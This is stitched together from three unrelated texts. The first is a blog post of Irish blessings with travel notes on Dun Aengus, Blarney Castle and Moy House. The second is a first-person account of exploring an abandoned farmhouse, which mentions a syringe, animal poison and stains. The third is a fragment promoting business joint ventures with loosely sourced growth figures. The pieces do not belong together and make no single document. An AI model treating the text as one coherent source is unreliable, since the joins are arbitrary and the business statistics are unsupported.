This is probably the most famous and best-loved Irish Blessing. And, the photo above is of the cliffs at Dun Aengus on the Aran Island of Inishmore, off the coast of Ireland near Galway. A truly spectacular and magical place of staggering beauty!
Irish Blessing #10
May those you love bring love back to you
And may all the wishes you wish come true.
– Irish Blessing
Here's your second FREE printable: May those you love bring love.
Irish Blessing #11
May joy and peace surround you,
Contentment latch your door,
And happiness be with you now,
And bless you evermore.
– Irish Blessing
The above photo is the inside of a thatch-roof cottage in Bunratty Folk Park, Ireland. It has sacks of feed stashed inside and although dark inside the cottage, the small window allowed in just enough light to take this picture.
Irish Blessing #12
May the sun shine all day long,
Everything go right and nothing go wrong.
– Irish Blessing
I love this photo. The willy-nilly signage that makes no sense to Americans but makes perfect sense to the Irish. This sign was in the village of Ballyvaughan in County Clare. Sadly, they removed it in 2011 because it caused too many traffic jams and problems. I can see why – it's such a wonderful sign!
Christin and I were constantly lost in Ireland (we rented a car and drove around ourselves). Between driving on a different side of the road, to roads so narrow barely two cars could pass each other safely, to signage like this or no signage at all, to the charming way the Irish give you directions like "oh, it's so easy! Just drive straight ahead until you see the large lone tree, turn left and drive a little bit and then turn right by the pink house that's on the right." Things were always going wrong on our trip, but inevitably, the wrong turned into a right, which led to wonderful experiences. Those pesky leprechauns…
Irish Blessing #13
This is the footpath down the hill from Dun Aengus on the island of Inishmore off the coast of Ireland near Galway. It's probably really a mountain, but the elevation changes ever so slightly over miles that you don't realize you are climbing a mountain until you get to the top. You do need strong shoes to make this trek, but it is worth the effort.
Irish Blessing #14
May God give you…
For every storm, a rainbow,
For every tear, a smile,
For every care, a promise,
And a blessing in each trial.
For every problem life sends you,
A faithful friend to share,
For every sigh, a sweet song,
And an answer to each prayer.
– Irish Blessing
This is the view from Dun Aengus – a spectacular panorama. See the lone man standing in the top right? Bet he's glad he made the trip. Dun Aengus is a ring fort, more than 3,000 years old, thought to be a religious and ceremonial site. Shrouded in mystery, Dun Aengus inspires.
Irish Blessing #15
How sweetly lies old Ireland
Emerald green beyond the foam,
Awakening sweet memories,
Calling the heart back home.
– Irish Blessing
The photo above was taken from the top of Blarney Castle in County Cork, Ireland. One of the most restored and well-known castles in Ireland, it's the home of the famous Blarney Stone. We did not kiss the stone. The line was long, you had to lay down on your back and twist your head backward (and I'm too old for that {grin}!) and it has been kissed by thousands upon thousands of others. I'm a wee bit of a germaphob!
Irish Blessing #16
May you always walk in sunshine.
May you never want for more.
May Irish angels rest their wings
Right beside your door.
– Irish Blessing
This is the Moy House in Lahinch, Ireland. A large guest house, if was my favorite place of all the places we stayed in Ireland. With magical sweeping views of the ocean, a superb staff and well-appointed rooms, I'd go back any time and if I'm lucky enough to return to Ireland, I will definitely go back there. Said to have a ghost that haunts it, I felt angels resting their wings instead.
Irish Blessing #17
For each petal on the shamrock,
This brings a wish your way:
Good health, good luck and happiness
For today and every day.
– Irish Blessing
And, your last FREE printable: For each petal on the shamrock.

I have always wondered, what it would be like to go inside an abandoned house. For years, it has been a dream of mine to find a house, go inside and see what happens – and yesterday, that is exactly what my friends and I did. Although the main house is in need of repair, there are still some furniture inside and curtains in the windows, which made me wonder if anyone actually still lived there. Not long ago, however, I had noticed that most of the windows had been smashed and I took that as a sign that the farm was most likely uninhabited.
We sat foot on the property at sunset. As we walked into the driveway it became apparent that the farm was abandoned and had most likely been so for a long time, as the back door had been kicked in and the windows to the kitchen, living room, and the bathroom were all smashed. On one of the walls someone had spray-painted the name "Bob" and painted a picture of a ghost, which I guess seemed fitting. Whether or not the farm is rumored to be haunted, I do not know. Personally, I was not able to find any information regarding possible hauntings, who used to live in the house or anything at all, which in a way only made it more exciting, since I rarely go into places with what I like to call a 'completely open mind'. No prior knowledge, no expectations, nothing.
We walked into what I assume once had been a laundry room and crawled through a sawed off door, to get into the kitchen. On the kitchen counter stood beer and vodka bottles bottles, some of which had been opened. There were a pair of car keys, a syringe next to a bottle of some type of poison (which were designed to be used on animals according to the label), a needle and threads, and in the corner we found – believe it or not – a sextoy. The packaging looked like something from the 80s and without going into too much detail, it was the kind of sextoy that a man would use (and we decided not to touch it).
The kitchen led into the living room where a dinner table, chairs and a clock still stood. The floor was covered in glass and the carpet smelled like urine. One of the paintings had been taken off the wall and a knife had cut through it in a straight line. A dead plant still stood in one of the windows and a single sock had been thrown on the carpet. In the corner was a large piece of what I assumed was wallpaper which had been torn from one of the walls with a dark substance splattered onto it, but the thing that caught my attention were the photos.
On two of the walls still hang a couple of family photos depicting the same little boy. One where he sat alone and one where he was playing with his dog. Smiling. He could not have been more than seven or eight and from the look of what he was wearing and the redish glow of the pictures, I assume they were taken sometime in
the 70s or 80s. I do not know who the boy is, but I wondered if he grew up and moved into the house or if the pictures were hung there by his parents. Why would anyone leave something like that behind?
The entryway was flooded by commercial magazines and newspapers. The floor was completely covered in a small mountain of wasted paper that seemed to have piled up over what must have been years. By the entryway there were stars which led upstairs but we decided not to go up there, because the floor could possibly be unstable and collapse. Instead we headed into a small bathroom where someone had dropped a bush cutter and a large dark brown pool of 'something' could be seen on the floor. The brown substance seemed to come from the edge of the bathtub and spread onto the floor with drops leading out into the entryway. The seen looked so much like something out of a horror movie that it was almost hard to take it seriously.
In the opposite end of the house there were a bedroom with so much furniture in it that it was almost impossibly to go in there. There was a mattress (again with dark stains on it similar to those we found in the bathroom), an old computer, and children's toys one of which were a violently tied up doll. The office was right next to that room and again, everything seemed to be in complete chaos. The floor was covered in glass, plastic, papers, everything has just been thrown on the ground and left there. On the desk were a few books (one of which contained hair samples from animals), reading glasses and a handful of handwritten postcards dating back to the 1960s and 1970s. I decided not to look for more than a date on the postcards. For some reason it felt wrong to touch them and to read them. In the window sill were a bottle of vitamins, a notebook and pictures of what may at some point have been someone's coworkers.
While I was there, I measured EMF, took pictures, shot video, and while the house does feel eerie, I was not able to capture any evidence of the paranormal. I was not able to conduct a thorough investigation in the time I was there but in all honesty, I have a feeling that even if I did spend an entire night investigating the house, I would not capture anything. The house is chilling and looks like something out of a horror movie but it feels quiet. Personally, I do not sense any bad energy or a presence while being inside the house and while that is not a scientific way or putting it, I know some of you will understand what I mean. You feel calm and relaxed while being there. Your body is not reacting to anything.
The house looked like something out of a nightmare but experiencing how it feels to walk into an abandoned house was a dream come true. While I do not recommend that anyone wanders onto an abandoned property by themselves, I must say that it is something you will never forget – but again, remember to always be carful and never to do something like this if you are underage. Old houses can fall apart and you never know who you might run into.
In this post I have attached pictures that I took while at the house. If you want to see the video that I shot, then let me know.

Today in business, it's very tough and very ultra-competitive. So with brutal competition… a disloyal market, commoditized products and services, lots of options and alternatives that a person has to fill a given need - fear -apprehension - uncertainty on the part of buyers - few trusted advisors. A strategic alliance or a joint venture may be the perfect mechanism to get you instant access, instant credibility, accelerated buy-in, rich and bonded trust. The opportunities are literally limitless.
The number of alliances are growing at 40+% annually with major corporations. More than 35% of the revenue generated in the top 2,000 companies, supposedly, now comes from joint venture strategic alliances. In a survey that was done last year, 49% of the businesses report that they're making more money today because of joint ventures (these are big businesses). 21% say they're getting higher revenues because the cost of selling is less.
